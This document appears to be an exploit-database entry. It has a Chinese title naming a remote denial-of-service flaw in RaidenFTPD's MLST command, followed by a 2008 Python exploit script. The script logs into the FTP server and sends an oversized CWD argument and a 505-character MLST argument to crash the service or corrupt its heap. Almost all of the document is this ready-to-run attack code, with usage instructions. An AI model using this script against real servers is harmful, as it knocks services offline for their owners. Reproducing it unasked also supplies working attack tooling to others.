RaidenFTPD 'MLST'命令远程拒绝服务漏洞

# RaidenFTPD V2.4 build 3620 exploit # probaly heap overflow # # (x)dmnt 2008 # -*- coding: windows-1252 -*- import socket import sys, time evil_cwd = "/"+"\x22"*255 evil_dir = "X"*505 def help_info(): print ("Usage: ShaoKahn <host> <login> <password>\n") print ("Note: anonymous is enought") def dos_it(hostname, username, passwd): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r=sock.recv(2048) print "[+] Connected" sock.send("user %s\r\n" %username) r=sock.recv(1024) time.sleep(3) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] Send evil string" time.sleep(3) sock.send("cwd %s\r\n" %evil_cwd) r=sock.recv(1024) time.sleep(3) sock.send("mlst %s\r\n" %evil_dir) r=sock.recv(1024) time.sleep(3) sock.close() print "[:)] Now server d0s'ed/heap corrupted" print ("\n]RaidenFTPD V2.4 build 3620 remote DoS exploit") print ("](x)dmnt 2008\n\n") if len(sys.argv) <> 4: help_info() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] dos_it(hostname,username,passwd) sys.exit(0)